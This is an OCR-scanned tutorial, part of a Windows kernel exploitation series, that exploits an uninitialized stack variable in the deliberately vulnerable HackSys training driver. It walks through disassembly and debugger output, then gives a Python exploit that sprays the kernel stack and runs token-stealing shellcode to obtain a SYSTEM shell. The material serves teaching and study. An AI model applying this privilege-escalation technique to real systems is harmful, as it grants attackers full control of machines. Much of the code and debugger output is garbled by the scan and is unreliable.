Windows Kernel Exploitation Tutorial Part 6:
Uninitialized Stack Variable

> January 30,2018 £ rootkit

Overview

In the previous part, we looked into a simple NULL Pointer Dereference vulnerability. In this part, we'll dis-
cuss about another vulnerability, Uninitialized Stack Variable. This vulnerability arises when the developer
defines a variable in the code, but doesn't initialize it. So, during runtime, the variable would have some
value, albeit an unpredictable one. How this issue could be exploited by an attacker, we'd see in this part.

Again, huge thanks to @hacksysteam for the driver.

Analysis

Let's analyze the UninitializedStackVariable.c file:

il NTSTATUS TriggerUninitializedStackVariable(IN PVOID UserBuffer) {

2 ULONG UserValue = 0;

3 ULONG MagicValue = 0xBADOBOBO;

4 NTSTATUS Status = STATUS_SUCCESS;

5

G #ifdef SECURE

7 // Secure Note: This is secure because the developer is properly initializing

8 // UNINITIALIZED_STACK_VARIABLE to NULL and checks for NULL pointer before calling
9 // the callback

10 UNINITIALIZED_STACK_VARIABLE UninitializedStackVariable = {0};

BN #else

12 // Vulnerability Note: This is a vanilla Uninitialized Stack Variable vulnerability
13 // because the developer is not initializing 'UNINITIALIZED STACK_VARIABLE' structure
14 // before calling the callback when 'MagicValue' does not match 'UserValue'

15 UNINITIALIZED STACK VARIABLE UninitializedStackVariable;

iGN #endif

17

18 PAGED_CODE();

19

20 _try {

21 // Verify if the buffer resides in user mode

22 ProbeForRead(UserBuffer,

23 sizeof (UNINITIALIZED STACK_VARIABLE),

24 (ULONG)__alignof(UNINITIALIZED STACK_VARIABLE));

25

26 // Get the value from user mode

27 UserValue = *(PULONG)UserBuffer;

28

29 DbgPrint("[+] UserValue: Ox%p\n", UserValue);

30 DbgPrint("[+] UninitializedStackVariable Address: @x%p\n", &UninitializedStackVariab!
31

32 // Validate the magic value

B8 if (UserValue == MagicValue) {

34 UninitializedStackVariable.Value = UserValue;

35 UninitializedStackVariable.Callback = &UninitializedStackVariableObjectCallback;
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-
}

DbgPrint("[+] UninitializedStackVariable.Value: 0x%p\n", UninitializedStackVariable.\
DbgPrint("[+] UninitializedStackVariable.Callback: @x%p\n", UninitializedStackVariab

#ifndef SECURE
DbgPrint("[+] Triggering Uninitialized Stack Variable Vulnerability\n");
#tendif

// Call the callback function
if (UninitializedStackVariable.Callback) {
UninitializedStackVariable.Callback();

}
__except (EXCEPTION_EXECUTE_HANDLER) {

Status = GetExceptionCode();
DbgPrint("[-] Exception Code: ©@x%X\n", Status);

return Status;

}

The issue is clearly mentioned, as the UninitializedStackVariable in the insecure version is not initialized to a
value as in the Secure version. But that's not the only problem here. The uninitialized variable is then
called in the callback() function, which leads to this vulnerability.

Analyzing this vulnerability in IDA makes things a little more clearer:

BFGh
offset stru_122B8

edi, edi

[ebp+ms_exc.registration.Trylevel], edi

4 ; Alignment

BF Bh ; Length

esi, [ebp+UserBuffer]

esi ; Address

ds:__imp__ ProbeForRead@12 ; ProbeForRead(x,x,x%)
esi, [esi]

esi

offset alservalueBxP ; “[+] UserUalue: 8x%pin’
_DbgPrint

eax, [ebp+UninitializedStackVariable]

eax

offset aUninitializeds ; [+] UninitializedStackUariable Address:™...
_DbgPrint

esp,

[ebp+UninitializedStackVariable.Value], eax
[ebp+UninitializedStackVariable.Callback], offset _UninitializedStackVariableObjectCallbackB@8 ; UninitializedStackVariableODbjectCallbaclk()

loc_14F59: ; CODE XREF: TriggerUninitializedStackUariable({x)+uDtj
[ebp+UninitializedStackVariable.Value]
offset alninitialize_1 ; "[+] UninitializedStackUariable . Ualue:z B8".._.
_DbgPrint
[ebp+UninitializedStackVariable.Callback]
offset aUninitialize_3 ; "[+] UninitializedStackUariable.Callback™...
_DbgPrint
offset aTriggeringUnin ; “[+] Triggering Uninitialized Stack Uari™...
_DbgPrint
esp, 14h
[ebp+UninitializedStackVariable.Callback], edi
hort 1 14F

loc_14FB7: ; CODE XREF: TriggerUninitializedStackUariable{x})+92Tj
; TriggerUninitializedStackVariable(x)+9atj
[ebp+ms_exc.registration.TryLewvel], BFFFFFFFER

eax, [ebp+ms_exc

eax,

y
_TriggerUninitializedStackVariableB@4 endp

We can see that if our comparison fails with our **Magic** value, the execution lands up in our vulnerable
function, with a call to our callback at some offset from our ebp.

So, if we can control what's there under the callback address, we should reliably be able to direct the flow
to our shellcode. With that in mind, let’s jump onto the exploitation then.



.
Exploitation

Let’s start with our skeleton script:

import ctypes, sys, struct
from ctypes import *
from subprocess import *

def main():
kernel32 = windll.kernel32
psapi = windll.Psapi
ntdll = windll.ntdll
hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", , 9,

if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)

buf = "\xbo\xbo\xdo\xba"
bufLength = len(buf)

kernel32.DeviceIoControl(hevDevice, , buf, bufLength, None, 0, byref(c_ulong()),

",

S EVD IOCTL UNINITIALIZED STACK VARIABLE ssxxxx

Tninitiali
EXEXRNR HAL 5

We see no crash, and execution completes normally.

Now, let's change our **Magic** value to something else and analyze what happens.




kd: o
sxxxxx HA . K VARTABLE s
Brealpoin

Triggering Tnini
Jopoint 1 hit
DI TriggerTninitialize

HEVD! ?% :  HNGAKEGL:: =tring'’

nt!KiInitialPCR

nt!KiInitialPCR

nt | SwapContext

ntlKiTnitialPCRE+0x3301
ntlKiDispatchInterrupt+l=ze?

This triggers our vulnerable function with the callback call. Now, as we discussed earlier, we somehow
need to control the callback value to our shellcode’s pointer, so as when the call is made to this address, it
actually initializes our shellcode.

To do this, the steps we need to follow:

e Find the kernel stack init address

e Find the offset of our callback from this init address

e Spray the Kernel Stack with User controlled input from the user mode. (Good read about it can be
found here by jOOru).

To find the kernel stack init address, run the I'thread command, and then subtract the callback address
from the stack init address to find the offset.
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kd: lthread
THREAD 27ace898 Cid 0e=l0.0seld4 Teb: 7££d4i000 Win3d2Thread: fetf8at?0 REUHNIHNG on processor 0
IFF Li=t:
96164f68: (0006.0094) Flags: 40060000 Md4l: 00000000
Hot impersonating

Devicelap 95£9d4d10

Owning Process BaafbLid Inages: python  exe
Attached Process Hed Inage: Hoh

Wait Start TickCount 5144 Ticks: 1 (0:00:00:00.015)
Context Switch Count 326 IdealProces=sor: 0
TzerTine go.00:.00.000

KernelTimne oo0:00:00.234

Wini2 Start Dxlcfel327
Staclk Init |94c?3edl)Current 94c??eff Base 94c24000 Limit 94c21000 Call 00000000

Priority 11 BasePriority 8 PrioritvDecrement 2 IoPriority 2 PagePriority &

ChildEEP EetiAddr Args to Child

94c2dabd B2383fel 01795ff4 94c23adc 82384219 HEVDITriggerUninitializedStackVariable+0x94 (FPO: [Hon-Fpo]
94=23acl 82384219 960164f68 96164fd8 8abl51d0 HEVDITninitializedStackVariableloctlHandler+0xla (FPO: [Hon
94c?3ads 82d406c3 Baabeded 96l16d4fed 82915290 HEVD! IrpDeviceloCtlHandler+0xl8b (FPO: [Hon-Fpo]) (COHV: =t
94=23b00 82a45bdS 00000000 9pl6d4f6d Basabeded nt!Ilowlalllriver+0z258

94=23b14 82239209 82915290 96164168 96164fd8 nt!IofCalllriver+0xlb

94=23b34 B2cicdf? Basbedef 82915290 00000000 nt!IlopSvnchronousServiceTail+0=l1f8

94c23bd0 82c83789 Baabeded 9eledfed 00000000 nt!JlopdxxControlFilet+lx6aa

94c-23c04 82adcBoe 00000070 OOOQQO0O000 QOOO0O0O000 nt!HtDeviceloControlFile+lxZa

94c23ci4 7ee070£4 00000070 0OO0OQOQOOO0 OOQOQOOO0 nt!KiSystemServicePostCall (FPO: [0.3] TrapFrame @ 94c23cid
WARENIHG: Frame IFP not in any known module. Following frames may be wrong.

002ef544 76f£S5ba?d 00000070 O022202f 01795fif4 O0x7e=s070f4

002ef570 ebd7ebba 00000070 O022202f 01795ff4 Ox7efSba?d

N02ef59%: obd7d7a6 6h47d45f0 002efShe 00000020 Oxbb47ebba

N02efbcc 6b47983e 76f5baldt 002efeel abe59b96 Oxbhbi7d7ab

N02efe?c ebd7alee 00001100 76f5balf (002efecl Oxtb47983e

N02ef?ac 6bd759%=1 76f5baldb 01754870 00000000 Oxtb47albe

002=£808 6bL9%s=lec 017b7108 01754870 00000000 Oxbcb4759=1

N02ef824 ebe2l8cd4 01768918 01754870 00000000 OmebS9elec

002ef84c obo2ld4ed4 01768918 00000008 01806124 OxebeZl8cd

N02ef874 obelflbf 002ef8d0 00000000 01806030 Oxbh6Zl1464

N02efBec ebe21541 01806030 00000000 017be2f0 Omebelflbf

002ef90c ebe21452 002=£998 00000000 Q0000000 O=ebe21541

002ef93c ebolflbf 0022£998 013c3168 01386cch Oxbbe21452

002ef9b0 ebo202bc 0133030 00000000 01437400 Ox6belflbf

N02ef9f8 ebbodefdf 01386cct 013Baab50 01382250 Oxebe202bo

N02efaidd cbodef?e 01437400 01382250 01382250 Oxbbbdefdf

N02efab4 obodeB1 74367408 0134132b 00000101 Oxbthbdef?e

N02efa98 6boddd0? 74367408 0134132b 00000001 O=bcbode2fl

N02efabld ebL5525ec 74367408 0134132b 00000001 O=ebedddo?

002efbidc 1cfell80 00000002 01341308 01341908 Oxeb5525ec

N02efbil 76fSeelc 7ffdelll 002efboc 76e237eb OxlcfellB0

N02etbic 76e2ileb 7ifdel00 YectbZab 00000000 OxYefbeslc

N02efbocc 76e237be 1cfel327 7ifde000 00000000 Ox7eeli?eb

N02efbed 00000000 1cfel1327 7{f£de000 00000000 Ox7eel3?hbe

dr Ydcdiedl - Y4cldYac
valuate expression: 1316 = 00000524

4 L

led > |

We get an offset of 0x524. You can confirm if this offset remains same through multiple runs. This won't
matter that much though as we'd be spraying the whole stack upto a certain length with our shellcode ad-
dress using NtMapUserPhysicalPages function:

BOOL WINAPI MapUserPhysicalPages(
_In_ PVOID 1pAddress,
_In_ ULONG_PTR NumberOfPages,
_In_ PULONG_PTR UserPfnArray

)5

Not exactly the same function on MSDN, but the basic layout for the parameters is similar. More informa-
tion about this function is found in the article above by jOOru.

Using this API, we can spray upto 7024*sizeof(ULONG_PTR), enough to cover our offset easily. Let's spray
our kernel stack with 0x47414141 and put a breakpoint at the end of NtMapUserPhysicalPages to analyze
our spray:

import ctypes, sys, struct
from ctypes import *
from subprocess import *
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def main():

kernel32 = windll.kernel32

psapi = windll.Psapi

ntdll = windll.ntdll

hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",

if not hevDevice or hevDevice == -1:
print "*** Couldn't get Device Driver handle"
sys.exit(-1)

ptr_adr = "\x41\x41\x41\x41" *

buf = "\x37\x13\xd3\xba"
bufLength = len(buf)

ntdll.NtMapUserPhysicalPages(None, , ptr_adr)

kernel32.DeviceIoControl(hevDevice, , buf, bufLength, None, 0, byref(c_ulong()),
if name__ == "_main__":

main()

ag

edi, edi

0Ch

Teb: 7ffdf000 Wi Thread: ffatd4bdd EUHNING on proc

Awesome, our desired address contains our sprayed value.

Now, just include our shellcode from our previous post, and spray the address onto the kernel stack.
Final exploit would look like:

import ctypes, sys, struct

from ctypes import *

from subprocess import *

def main():
kernel32 = windll.kernel32



7 psapi = windll.Psapi
8 ntdll = windll.ntdll
9 hevDevice = kernel32.CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver", 0xC0000000, 0,

10

11 if not hevDevice or hevDevice == -1:

12 print "*** Couldn't get Device Driver handle"

13 sys.exit(-1)

14

15 #Defining the ring@ shellcode and loading it in VirtualAlloc.

16 shellcode = bytearray(

17 "\x90\x90\x90\x90" # NOP Sled

18 "\x60" # pushad

19 "\x64\xA1\x24\x01\x00\x00" # mov eax, fs:[KTHREAD OFFSET]

20 "\x8B\x40\x50" # mov eax, [eax + EPROCESS OFFSET]

21 "\x89\xC1" # mov ecx, eax (Current _EPROCESS structure)
22 "\x8B\x98\xF8\x00\x00\x00" # mov ebx, [eax + TOKEN_OFFSET]

23 "\XxBA\x04\x00\x00\x00" # mov edx, 4 (SYSTEM PID)

24 "\x8B\x80\xB8\x00\x00\x00" # mov eax, [eax + FLINK OFFSET]

25 "\x2D\xB8\x00\x00\x00" # sub eax, FLINK OFFSET

26 "\Xx39\x90\xB4\x00\x00\x00" # cmp [eax + PID _OFFSET], edx

27 "\x75\xED" # jnz

28 "\x8B\x90\xF8\x00\x00\x00" # mov edx, [eax + TOKEN_OFFSET]

29 "\x89\x91\xF8\x00\x00\x00" # mov [ecx + TOKEN_OFFSET], edx

30 "\x61" # popad

31 "\xC3" # ret

32 )

BE

34 ptr = kernel32.VirtualAlloc(c_int(©), c_int(len(shellcode)), c_int(©x3000), c_int(0x40))
35 buff = (c_char * len(shellcode)).from_buffer(shellcode)

36 kernel32.RtlMoveMemory(c_int(ptr), buff, c_int(len(shellcode)))

37

38 #Just converting the int returned address to a sprayable '\x\x\x\x' format.

39 ptr_adr = hex(struct.unpack('<L"', struct.pack('>L"', ptr))[0])[2:].2fill(8).decode( 'hex")
40

41 print "[+] Pointer for ring® shellcode: {0}".format(hex(ptr))

42

43 buf = '\x37\x13\xd3\xba'

44 bufLength = len(buf)

45

46 #Spraying the Kernel Stack.

47 #Note that we'd need to prevent any clobbering of the stack from other functions.
48 #Make sure to not include/call any function or Windows API between spraying the stack anc
49

50 print "\n[+] Spraying the Kernel Stack..."”

51

52 ntdll.NtMapUserPhysicalPages(None, 1024, ptr_adr)

53

54 kernel32.DeviceIoControl(hevDevice, 0x22202f, buf, bufLength, None, ©, byref(c_ulong()),
55

56 print "\n[+] nt authority\system shell incoming"

57 Popen("start cmd", shell=True)

58

CEN if  name . == " main__ ":

60 main()




dmi
Microsoft Windows [Uersion 6.1.7601] B
Copyright (c) 2009 Microsoft Corporation. All rights reserved. l

C:\Users\IEUser>cd Desktop
1) before first booting and working v

C:\Users\IEUser\Desktop>whoami Xpires.
iewint\ieuser

C:\Users\IEUser\Desktop>c:\Python27\python.exe uninit_stack.py . . ) e
[+] Pointer for ringd shellcode: |0x500000 ficrosoit Windows, and are therefor

Administrator: C:\Windows\system32\cmd.exe

Microsoft Windows [Uersion 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

[+] Spraying the Kernel Stack...

[+] nt authority\system shell incoming

C:\Users\IEUser\Desktop>whoami

C:\Users\IEUser\Desktop> nt authority\system

C:\Users\IEUser\Desktop>_
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